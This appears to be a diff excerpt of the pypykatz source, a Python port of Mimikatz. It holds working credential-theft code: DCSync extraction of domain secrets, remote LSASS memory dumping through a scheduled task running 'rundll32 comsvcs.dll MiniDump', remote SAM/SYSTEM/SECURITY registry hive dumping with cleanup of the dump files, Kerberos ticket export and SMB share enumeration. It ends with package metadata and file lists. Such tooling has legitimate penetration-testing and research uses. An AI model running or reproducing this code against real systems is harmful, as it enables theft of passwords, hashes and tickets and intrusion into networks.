302 if args.outfile is not None:
303 outfile = open(args.outfile+'_dcsync.txt', 'w', newline = '')
304
305 async for secret in dcsync(args.url):
306 if args.outfile is not None:
307 outfile.write(str(secret))
308 else:
309 print(str(secret))
310
311 except Exception as e:
312 logging.exception('[SECRETSDUMP] Failed to perform DCSYNC')
313 finally:
314 if args.outfile is not None:
315 outfile.close()
316
317 elif args.smb_module == 'dcsync':
318 from pypykatz.smb.dcsync import dcsync
319
320 if args.outfile is not None:
321 outfile = open(args.outfile, 'w', newline = '')
322
323 async for secret in dcsync(args.url, args.username):
324 if args.outfile is not None:
325 outfile.write(str(secret))
326 else:
327 print(str(secret))
328
329 if args.outfile is not None:
330 outfile.close()
331
332 elif args.smb_module == 'regdump':
333 from pypykatz.smb.regutils import regdump
334 po = await regdump(args.url)
335
336 if po is not None:
337 if args.outfile:
338 po.to_file(args.outfile, args.json)
339 else:
340 if args.json:
341 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
342 else:
343 print(str(po))
344
345 elif args.smb_module == 'regfile':
346 from pypykatz.smb.regutils import regfile
347 po = await regfile(args.url, args.system, sam = args.sam, security = args.security, software = args.software)
348
349 if po is not None:
350 if args.outfile:
351 po.to_file(args.outfile, args.json)
352 else:
353 if args.json:
354 print(json.dumps(po.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True))
355 else:
356 print(str(po))
357
358 elif args.smb_module == 'shareenum':
359 from pypykatz.smb.shareenum import shareenum
360
361
362 output_type = 'str'
363 if args.json is True:
364 output_type = 'json'
365 if args.tsv is True:
366 output_type = 'tsv'
367
368 exclude_share = []
369 if args.es is not None:
370 exclude_share = args.es
371
372 exclude_dir = []
373 if args.ed is not None:
374 exclude_dir = args.ed
375
376 exclude_target = []
377 if args.et is not None:
378 exclude_target = args.et
379
380
381 await shareenum(
382 args.smb_url,
383 targets = args.target,
384 smb_worker_count = args.worker_count,
385 depth = args.depth,
386 out_file = args.out_file,
387 progress = args.progress,
388 max_items = args.maxitems,
389 dirsd = args.dirsd,
390 filesd = args.filesd,
391 authmethod = args.authmethod,
392 protocol_version = args.protocol_version,
393 output_type = output_type,
394 max_runtime = args.max_runtime,
395 exclude_share = exclude_share,
396 exclude_dir = exclude_dir,
397 ldap_url = args.ldap,
398 exclude_target = exclude_target,
399 )
400
401
402 elif args.smb_module == 'console':
403 from aiosmb.examples.smbclient import amain
404 la = SMBCMDArgs()
405 la.smb_url = args.url
406 la.verbose = args.verbose
407 if args.commands is not None and len(args.commands) > 0:
408 la.commands = []
409 if args.commands[0] == 'help':
410 la.commands = ['help']
411 else:
412 if args.commands[0] != 'login':
413 la.commands.append('login')
414
415 for command in args.commands:
416 la.commands.append(command)
417
418 await amain(la)
419
420 def process_results(self, results, files_with_error, args, file_prefix = ''):
421 if args.outfile and args.json:
422 with open(args.outfile+file_prefix, 'w') as f:
423 json.dump(results, f, cls = UniversalEncoder, indent=4, sort_keys=True)
424
425 elif args.outfile and args.grep:
426 with open(args.outfile+file_prefix, 'w', newline = '') as f:
427 f.write(':'.join(LogonSession.grep_header) + '\r\n')
428 for result in results:
429 for luid in results[result].logon_sessions:
430 for row in results[result].logon_sessions[luid].to_grep_rows():
431 f.write(':'.join(row) + '\r\n')
432
433 elif args.outfile:
434 with open(args.outfile+file_prefix, 'w') as f:
435 for result in results:
436 f.write('FILE: ======== %s =======\n' % result)
437
438 for luid in results[result].logon_sessions:
439 f.write('\n'+str(results[result].logon_sessions[luid]))
440
441 if len(results[result].orphaned_creds) > 0:
442 f.write('\n== Orphaned credentials ==\n')
443 for cred in results[result].orphaned_creds:
444 f.write(str(cred))
445
446 if len(files_with_error) > 0:
447 f.write('\n== Failed to parse these files:\n')
448 for filename in files_with_error:
449 f.write('%s\n' % filename)
450
451 elif args.json:
452 print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
453
454 elif args.grep:
455 print(':'.join(LogonSession.grep_header))
456 for result in results:
457 for luid in results[result].logon_sessions:
458 for row in results[result].logon_sessions[luid].to_grep_rows():
459 print(':'.join(row))
460 for cred in results[result].orphaned_creds:
461 t = cred.to_dict()
462 if t['credtype'] != 'dpapi':
463 if t['password'] is not None:
464 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
465 print(':'.join(x))
466 else:
467 t = cred.to_dict()
468 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
469 print(':'.join(x))
470
471 for pkg, err in results[result].errors:
472 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
473 err_str = base64.b64encode(err_str.encode()).decode()
474 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
475 print(':'.join(x) + '\r\n')
476 else:
477 for result in results:
478 print('FILE: ======== %s =======' % result)
479 if isinstance(results[result], str):
480 print(results[result])
481 else:
482 for luid in results[result].logon_sessions:
483 print(str(results[result].logon_sessions[luid]))
484
485 if len(results[result].orphaned_creds) > 0:
486 print('== Orphaned credentials ==')
487 for cred in results[result].orphaned_creds:
488 print(str(cred))
489
490 if len(results[result].errors) > 0:
491 print('== Errors ==')
492 for pkg, err in results[result].errors:
493 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
494 err_str = base64.b64encode(err_str.encode()).decode()
495 print('%s %s' % (pkg+'_exception_please_report',err_str))
496
497
498
499
500 if len(files_with_error) > 0:
501 print('\n==== Parsing errors:')
502 for filename in files_with_error:
503 print(filename)
504
505
506 if args.kerberos_dir:
507 dir = os.path.abspath(args.kerberos_dir)
508 logging.info('Writing kerberos tickets to %s' % dir)
509 for filename in results:
510 base_filename = ntpath.basename(filename)
511 ccache_filename = '%s_%s.ccache' % (base_filename, os.urandom(4).hex()) #to avoid collisions
512 results[filename].kerberos_ccache.to_file(os.path.join(dir, ccache_filename))
513 for luid in results[filename].logon_sessions:
514 for kcred in results[filename].logon_sessions[luid].kerberos_creds:
515 for ticket in kcred.tickets:
516 ticket.to_kirbi(dir)
517
518 for cred in results[filename].orphaned_creds:
519 if cred.credtype == 'kerberos':
520 for ticket in cred.tickets:
521 ticket.to_kirbi(dir)
0 import asyncio
1 from pypykatz import logging
2
3 async def dcsync(url, username = None):
4 from aiosmb.commons.connection.url import SMBConnectionURL
5 from aiosmb.commons.interfaces.machine import SMBMachine
6
7 smburl = SMBConnectionURL(url)
8 connection = smburl.get_connection()
9
10 users = []
11 if username is not None:
12 users.append(username)
13
14 async with connection:
15 logging.debug('[DCSYNC] Connecting to server...')
16 _, err = await connection.login()
17 if err is not None:
18 raise err
19
20 logging.debug('[DCSYNC] Connected to server!')
21 logging.debug('[DCSYNC] Running...')
22
23 i = 0
24 async with SMBMachine(connection) as machine:
25 async for secret, err in machine.dcsync(target_users=users):
26 if err is not None:
27 raise err
28 i += 1
29 if i % 1000 == 0:
30 logging.debug('[DCSYNC] Running... %s' % i)
31 await asyncio.sleep(0)
32 yield secret
33
34 logging.debug('[DCSYNC] Finished!')
35
0 import asyncio
1 import os
2
3 from pypykatz import logging
4
5 async def lsassfile(url, packages = ['all'], chunksize = 64*1024):
6 from aiosmb.commons.connection.url import SMBConnectionURL
7 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
8 from pypykatz.apypykatz import apypykatz
9
10 smburl = SMBConnectionURL(url)
11 connection = smburl.get_connection()
12 smbfile = smburl.get_file()
13
14 async with connection:
15 logging.debug('[LSASSFILE] Connecting to server...')
16 _, err = await connection.login()
17 if err is not None:
18 raise err
19
20 logging.debug('[LSASSFILE] Connected!')
21 logging.debug('[LSASSFILE] Opening LSASS dump file...')
22 _, err = await smbfile.open(connection)
23 if err is not None:
24 raise err
25
26 logging.debug('[LSASSFILE] LSASS file opened!')
27 logging.debug('[LSASSFILE] parsing LSASS file...')
28 mimi = await apypykatz.parse_minidump_external(SMBFileReader(smbfile), chunksize=chunksize, packages = packages)
29 logging.debug('[LSASSFILE] LSASS file parsed OK!')
30 return mimi
31
32 async def lsassdump(url, method = 'taskexec', remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\',chunksize = 64*1024, packages = ['all']):
33 from aiosmb.commons.exceptions import SMBException
34 from aiosmb.wintypes.ntstatus import NTStatus
35 from aiosmb.commons.connection.url import SMBConnectionURL
36 from aiosmb.commons.interfaces.machine import SMBMachine
37 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
38 from aiosmb.commons.interfaces.file import SMBFile
39 from pypykatz.apypykatz import apypykatz
40
41 smburl = SMBConnectionURL(url)
42 connection = smburl.get_connection()
43
44 if remote_base_path.endswith('\\') is False:
45 remote_base_path += '\\'
46
47 if remote_share_name.endswith('\\') is False:
48 remote_share_name += '\\'
49
50 fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
51 filepath = remote_base_path + fname
52 filesharepath = remote_share_name + fname
53
54 if method == 'taskexec':
55 cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(filepath)
56 commands = [cmd]
57
58 else:
59 raise Exception('Unknown execution method %s' % method)
60
61 mimi = None
62 async with connection:
63 logging.debug('[LSASSDUMP] Connecting to server...')
64 _, err = await connection.login()
65 if err is not None:
66 raise err
67 logging.debug('[LSASSDUMP] Connected!')
68 async with SMBMachine(connection) as machine:
69 if method == 'taskexec':
70 logging.debug('[LSASSDUMP] Start dumping LSASS with taskexec method!')
71 logging.info('[LSASSDUMP] File location: %s' % filepath)
72 _, err = await machine.tasks_execute_commands(commands)
73 if err is not None:
74 raise err
75
76 logging.debug('[LSASSDUMP] Sleeping a bit to let the remote host finish dumping')
77 await asyncio.sleep(10)
78
79 else:
80 raise Exception('Unknown execution method %s' % method)
81
82 logging.debug('[LSASSDUMP] Opening LSASS dump file...')
83 for _ in range(3):
84 smbfile = SMBFileReader(SMBFile.from_remotepath(connection, filesharepath))
85 _, err = await smbfile.open(connection)
86 if err is not None:
87 if isinstance(err, SMBException):
88 if err.ntstatus == NTStatus.SHARING_VIOLATION:
89 logging.debug('[LSASSDUMP] LSASS dump is not yet ready, retrying...')
90 await asyncio.sleep(1)
91 continue
92 raise err
93 break
94 else:
95 raise err
96
97 logging.debug('[LSASSDUMP] LSASS dump file opened!')
98 logging.debug('[LSASSDUMP] parsing LSASS dump file on the remote host...')
99 mimi = await apypykatz.parse_minidump_external(smbfile, chunksize=chunksize, packages = packages)
100
101 logging.debug('[LSASSDUMP] parsing OK!')
102 logging.debug('[LSASSDUMP] Deleting remote dump file...')
103 _, err = await smbfile.delete()
104 if err is not None:
105 logging.info('[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err)
106 else:
107 logging.info('[LSASSDUMP] remote LSASS file deleted OK!')
108
109 return mimi
0
1 import asyncio
2 import os
3
4 from pypykatz import logging
5
6 async def regdump(url, hives = ['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'], remote_base_path = 'C:\\Windows\\Temp\\', remote_share_name = '\\c$\\Windows\\Temp\\', enable_wait = 3):
7 from aiosmb.commons.connection.url import SMBConnectionURL
8 from aiosmb.commons.interfaces.machine import SMBMachine
9 from aiosmb.commons.interfaces.file import SMBFile
10 from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
11 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
12 from pypykatz.registry.aoffline_parser import OffineRegistry
13
14
15
16 smburl = SMBConnectionURL(url)
17 connection = smburl.get_connection()
18 if remote_base_path.endswith('\\') is False:
19 remote_base_path += '\\'
20
21 if remote_share_name.endswith('\\') is False:
22 remote_share_name += '\\'
23
24 po = None
25
26 async with connection:
27 logging.debug('[REGDUMP] Connecting to server...')
28 _, err = await connection.login()
29 if err is not None:
30 raise err
31
32 logging.debug('[REGDUMP] Connected to server!')
33 async with SMBMachine(connection) as machine:
34 logging.debug('[REGDUMP] Checking remote registry service status...')
35 status, err = await machine.check_service_status('RemoteRegistry')
36 if err is not None:
37 raise err
38
39 logging.debug('[REGDUMP] Remote registry service status: %s' % status.name)
40 if status != SMBServiceStatus.RUNNING:
41 logging.debug('[REGDUMP] Enabling Remote registry service')
42 _, err = await machine.enable_service('RemoteRegistry')
43 if err is not None:
44 raise err
45 logging.debug('[REGDUMP] Starting Remote registry service')
46 _, err = await machine.start_service('RemoteRegistry')
47 if err is not None:
48 raise err
49
50 await asyncio.sleep(enable_wait)
51
52
53
54 logging.debug('[REGDUMP] Remote registry service should be running now...')
55 files = {}
56 for hive in hives:
57 fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
58 remote_path = remote_base_path + fname
59 remote_sharepath = remote_share_name + fname
60 remote_file = SMBFileReader(SMBFile.from_remotepath(connection, remote_sharepath))
61 files[hive.split('\\')[1].upper()] = remote_file
62
63 logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' % (hive, remote_path))
64 _, err = await machine.save_registry_hive(hive, remote_path)
65 if err is not None:
66 raise err
67
68 #await asyncio.sleep(1)
69 for rfilename in files:
70 rfile = files[rfilename]
71 logging.debug('[REGDUMP] Opening reghive file %s' % rfilename)
72 _, err = await rfile.open(connection)
73 if err is not None:
74 raise err
75
76 try:
77 logging.debug('[REGDUMP] Parsing hives...')
78 po = await OffineRegistry.from_async_reader(
79 files['SYSTEM'],
80 sam_reader = files.get('SAM'),
81 security_reader = files.get('SECURITY'),
82 software_reader = files.get('SOFTWARE')
83 )
84 except Exception as e:
85 print(e)
86
87 logging.debug('[REGDUMP] Hives parsed OK!')
88
89 logging.debug('[REGDUMP] Deleting remote files...')
90 err = None
91 for rfilename in files:
92 rfile = files[rfilename]
93 err = await rfile.close()
94 if err is not None:
95 logging.info('[REGDUMP] ERR! Failed to close hive dump file! %s' % rfilename)
96
97 _, err = await rfile.delete()
98 if err is not None:
99 logging.info('[REGDUMP] ERR! Failed to delete hive dump file! %s' % rfilename)
100
101 if err is None:
102 logging.info('[REGDUMP] Deleting remote files OK!')
103 return po
104
105
106
107 async def regfile(url, system, sam = None, security = None, software = None, smb_basepath = None):
108 from aiosmb.commons.connection.url import SMBConnectionURL
109 from aiosmb.commons.interfaces.file import SMBFile
110 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
111 from pypykatz.registry.aoffline_parser import OffineRegistry
112
113 smburl = SMBConnectionURL(url)
114 connection = smburl.get_connection()
115
116 if smb_basepath is None:
117 smb_basepath = smburl.path
118 if smb_basepath.endswith('/') is False:
119 smb_basepath += '/'
120 smb_basepath = smb_basepath.replace('/', '\\')
121
122 system_smbfile_path = smb_basepath + system
123 sam_smbfile = None
124 security_smbfile = None
125 software_smbfile = None
126
127
128 system_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, system_smbfile_path))
129
130 if sam:
131 sam_smbfile_path = smb_basepath + sam
132 sam_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, sam_smbfile_path))
133
134 if security:
135 security_smbfile_path = smb_basepath + security
136 security_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, security_smbfile_path))
137
138 if software:
139 software_smbfile_path = smb_basepath + software
140 software_smbfile = SMBFileReader(SMBFile.from_remotepath(connection, software_smbfile_path))
141
142 po = None
143 async with connection:
144 logging.debug('[REGFILE] Connecting to server...')
145 _, err = await connection.login()
146 if err is not None:
147 raise err
148
149 logging.debug('[REGFILE] Connected to server!')
150 logging.debug('[REGFILE] Opening SYSTEM hive dump file...')
151 # parse files here
152 _, err = await system_smbfile.open(connection)
153 if err is not None:
154 raise err
155
156 if sam_smbfile is not None:
157 logging.debug('[REGFILE] Opening SAM hive dump file...')
158 _, err = await sam_smbfile.open(connection)
159 if err is not None:
160 raise err
161
162 if security_smbfile is not None:
163 logging.debug('[REGFILE] Opening SECURITY hive dump file...')
164 _, err = await security_smbfile.open(connection)
165 if err is not None:
166 raise err
167
168 if software_smbfile is not None:
169 logging.debug('[REGFILE] Opening SOFTWARE hive dump file...')
170 _, err = await software_smbfile.open(connection)
171 if err is not None:
172 raise err
173
174 logging.debug('[REGFILE] All files opened OK!')
175 logging.debug('[REGFILE] Parsing hive files...')
176 po = await OffineRegistry.from_async_reader(system_smbfile, sam_reader = sam_smbfile, security_reader = security_smbfile, software_reader = software_smbfile)
177 logging.debug('[REGFILE] Hive files parsed OK!')
178
179 return po
0 import asyncio
1 import os
2
3 from pypykatz import logging
4 from msldap.commons.url import MSLDAPURLDecoder
5 from aiosmb.examples.smbshareenum import SMBFileEnum, ListTargetGen, FileTargetGen
6
7 def get_smb_url(authmethod = 'ntlm', protocol_version = '2', host = None):
8 from winacl.functions.highlevel import get_logon_info
9 info = get_logon_info()
10 logonserver = info['logonserver']
11 if host is not None:
12 logonserver = host
13
14 return 'smb%s+sspi-%s://%s\\%s@%s' % (protocol_version, authmethod, info['domain'], info['username'], logonserver)
15
16
17 def get_ldap_url(authmethod = 'ntlm', host = None):
18 from winacl.functions.highlevel import get_logon_info
19 info = get_logon_info()
20
21 logonserver = info['logonserver']
22 if host is not None:
23 logonserver = host
24
25 return 'ldap+sspi-%s://%s\\%s@%s' % (authmethod, info['domain'], info['username'], logonserver)
26
27 class LDAPTargetGen:
28 def __init__(self, url):
29 self.url = url
30
31 async def generate(self):
32 try:
33 conn_url = MSLDAPURLDecoder(self.url)
34 connection = conn_url.get_client()
35 _, err = await connection.connect()
36 if err is not None:
37 raise err
38
39 adinfo = connection._ldapinfo
40 domain_name = adinfo.distinguishedName.replace('DC','').replace('=','').replace(',','.')
41
42 async for machine, err in connection.get_all_machines(attrs=['sAMAccountName', 'dNSHostName', 'objectSid']):
43 if err is not None:
44 raise err
45
46 dns = machine.dNSHostName
47 if dns is None:
48 dns = '%s.%s' % (machine.sAMAccountName[:-1], domain_name)
49
50 yield str(machine.objectSid), str(dns), None
51
52 except Exception as e:
53 yield None, None, e
54
55
56 async def shareenum(smb_url, ldap_url = None, targets = None, smb_worker_count = 10, depth = 3, out_file = None, progress = False, max_items = None, dirsd = False, filesd = False, authmethod = 'ntlm', protocol_version = '2', output_type = 'str', max_runtime = None, exclude_share = ['print$'], exclude_dir = [], exclude_target = []):
57 from aiosmb.commons.connection.url import SMBConnectionURL
58 from pypykatz.alsadecryptor.asbmfile import SMBFileReader
59 from pypykatz.apypykatz import apypykatz
60
61
62 if targets is None and ldap_url is None:
63 raise Exception('Shareenum needs a list of targets or LDAP connection string')
64
65 if smb_url == 'auto':
66 smb_url = get_smb_url(authmethod=authmethod, protocol_version=protocol_version)
67
68 enumerator = SMBFileEnum(
69 smb_url,
70 worker_count = smb_worker_count,
71 depth = depth,
72 out_file = out_file,
73 show_pbar = progress,
74 max_items = max_items,
75 fetch_dir_sd = dirsd,
76 fetch_file_sd = filesd,
77 output_type = output_type,
78 max_runtime = max_runtime,
79 exclude_share = exclude_share,
80 exclude_dir = exclude_dir,
81 exclude_target = exclude_target
82 )
83
84 notfile = []
85 if targets is not None:
86 for target in targets:
87 try:
88 f = open(target, 'r')
89 f.close()
90 enumerator.target_gens.append(FileTargetGen(target))
91 except:
92 notfile.append(target)
93
94 if len(notfile) > 0:
95 enumerator.target_gens.append(ListTargetGen(notfile))
96
97 if ldap_url is not None:
98 if ldap_url == 'auto':
99 ldap_url = get_ldap_url(authmethod=authmethod)
100 enumerator.target_gens.append(LDAPTargetGen(ldap_url))
101
102 if len(enumerator.target_gens) == 0:
103 raise Exception('No suitable targets found!')
104
105 await enumerator.run()
+0
-0
pypykatz/utils/sake/__init__.py less more
(Empty file)
+0
-9
pypykatz/utils/sake/sake.py less more
0 import zlib
1 import base64
2
3 class Sake:
4 def __init__(self):
5 self.pic_comp = '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'
6
7 def draw(self):
8 return zlib.decompress(base64.b64decode(self.pic_comp)).decode('ascii')
00 Metadata-Version: 1.2
11 Name: pypykatz
2 Version: 0.3.7
2 Version: 0.4.9
33 Summary: Python implementation of Mimikatz
44 Home-page: https://github.com/skelsec/pypykatz
55 Author: Tamas Jos
6 Author-email: [email protected]
6 Author-email: [email protected]
77 License: UNKNOWN
88 Description: UNKNOWN
99 Platform: UNKNOWN
0 LICENSE
1 MANIFEST.in
02 README.md
13 setup.py
4 pypykatz/__amain__.py
25 pypykatz/__init__.py
36 pypykatz/__main__.py
47 pypykatz/_version.py
8 pypykatz/apypykatz.py
9 pypykatz/argparsertest.py
10 pypykatz/argpretty.py
11 pypykatz/debugfile.py
512 pypykatz/pypykatz.py
613 pypykatz.egg-info/PKG-INFO
714 pypykatz.egg-info/SOURCES.txt
1017 pypykatz.egg-info/requires.txt
1118 pypykatz.egg-info/top_level.txt
1219 pypykatz.egg-info/zip-safe
20 pypykatz/alsadecryptor/__init__.py
21 pypykatz/alsadecryptor/asbmfile.py
22 pypykatz/alsadecryptor/cmdhelper.py
23 pypykatz/alsadecryptor/lsa_decryptor.py
24 pypykatz/alsadecryptor/lsa_decryptor_nt5.py
25 pypykatz/alsadecryptor/lsa_decryptor_nt6.py
26 pypykatz/alsadecryptor/lsa_template_nt5.py
27 pypykatz/alsadecryptor/lsa_template_nt6.py
28 pypykatz/alsadecryptor/lsa_templates.py
29 pypykatz/alsadecryptor/package_commons.py
30 pypykatz/alsadecryptor/win_datatypes.py
31 pypykatz/alsadecryptor/packages/__init__.py
32 pypykatz/alsadecryptor/packages/cloudap/__init__.py
33 pypykatz/alsadecryptor/packages/cloudap/decryptor.py
34 pypykatz/alsadecryptor/packages/cloudap/templates.py
35 pypykatz/alsadecryptor/packages/credman/__init__.py
36 pypykatz/alsadecryptor/packages/credman/templates.py
37 pypykatz/alsadecryptor/packages/dpapi/__init__.py
38 pypykatz/alsadecryptor/packages/dpapi/decryptor.py
39 pypykatz/alsadecryptor/packages/dpapi/templates.py
40 pypykatz/alsadecryptor/packages/kerberos/__init__.py
41 pypykatz/alsadecryptor/packages/kerberos/decryptor.py
42 pypykatz/alsadecryptor/packages/kerberos/templates.py
43 pypykatz/alsadecryptor/packages/livessp/__init__.py
44 pypykatz/alsadecryptor/packages/livessp/decryptor.py
45 pypykatz/alsadecryptor/packages/livessp/templates.py
46 pypykatz/alsadecryptor/packages/msv/__init__.py
47 pypykatz/alsadecryptor/packages/msv/decryptor.py
48 pypykatz/alsadecryptor/packages/msv/templates.py
49 pypykatz/alsadecryptor/packages/ssp/__init__.py
50 pypykatz/alsadecryptor/packages/ssp/decryptor.py
51 pypykatz/alsadecryptor/packages/ssp/templates.py
52 pypykatz/alsadecryptor/packages/tspkg/__init__.py
53 pypykatz/alsadecryptor/packages/tspkg/decryptor.py
54 pypykatz/alsadecryptor/packages/tspkg/templates.py
55 pypykatz/alsadecryptor/packages/wdigest/__init__.py
56 pypykatz/alsadecryptor/packages/wdigest/decryptor.py
57 pypykatz/alsadecryptor/packages/wdigest/templates.py
1358 pypykatz/commons/__init__.py
1459 pypykatz/commons/common.py
1560 pypykatz/commons/filetime.py
61106 pypykatz/commons/winapi/local/function_defs/psapi.py
62107 pypykatz/commons/winapi/local/function_defs/version.py
63108 pypykatz/commons/winapi/local/function_defs/winreg.py
109 pypykatz/crypto/MD4.py
64110 pypykatz/crypto/RC4.py
65111 pypykatz/crypto/__init__.py
66112 pypykatz/crypto/des.py
70116 pypykatz/crypto/aes/util.py
71117 pypykatz/crypto/unified/__init__.py
72118 pypykatz/crypto/unified/aes.py
119 pypykatz/crypto/unified/aesgcm.py
73120 pypykatz/crypto/unified/common.py
74121 pypykatz/crypto/unified/des.py
75122 pypykatz/crypto/unified/des3.py
123 pypykatz/crypto/unified/gcmtest.py
76124 pypykatz/crypto/unified/pbkdf2.py
77125 pypykatz/crypto/unified/pkcs7.py
78126 pypykatz/dpapi/__init__.py
127 pypykatz/dpapi/cmdhelper.py
79128 pypykatz/dpapi/constants.py
80129 pypykatz/dpapi/dpapi.py
130 pypykatz/dpapi/functiondefs/__init__.py
131 pypykatz/dpapi/functiondefs/dpapi.py
81132 pypykatz/dpapi/structures/__init__.py
82133 pypykatz/dpapi/structures/blob.py
83134 pypykatz/dpapi/structures/credentialfile.py
84135 pypykatz/dpapi/structures/masterkeyfile.py
85136 pypykatz/dpapi/structures/system.py
86137 pypykatz/dpapi/structures/vault.py
138 pypykatz/example/__init__.py
139 pypykatz/example/phandle_dll.py
87140 pypykatz/kerberos/__init__.py
88141 pypykatz/kerberos/cmdhelper.py
142 pypykatz/kerberos/kerberos.py
143 pypykatz/kerberos/kerberoslive.py
144 pypykatz/kerberos/kirbiutils.py
145 pypykatz/kerberos/functiondefs/__init__.py
146 pypykatz/kerberos/functiondefs/advapi32.py
147 pypykatz/kerberos/functiondefs/asn1structs.py
148 pypykatz/kerberos/functiondefs/kernel32.py
149 pypykatz/kerberos/functiondefs/netsecapi.py
89150 pypykatz/ldap/__init__.py
90151 pypykatz/ldap/cmdhelper.py
91152 pypykatz/lsadecryptor/__init__.py
98159 pypykatz/lsadecryptor/lsa_templates.py
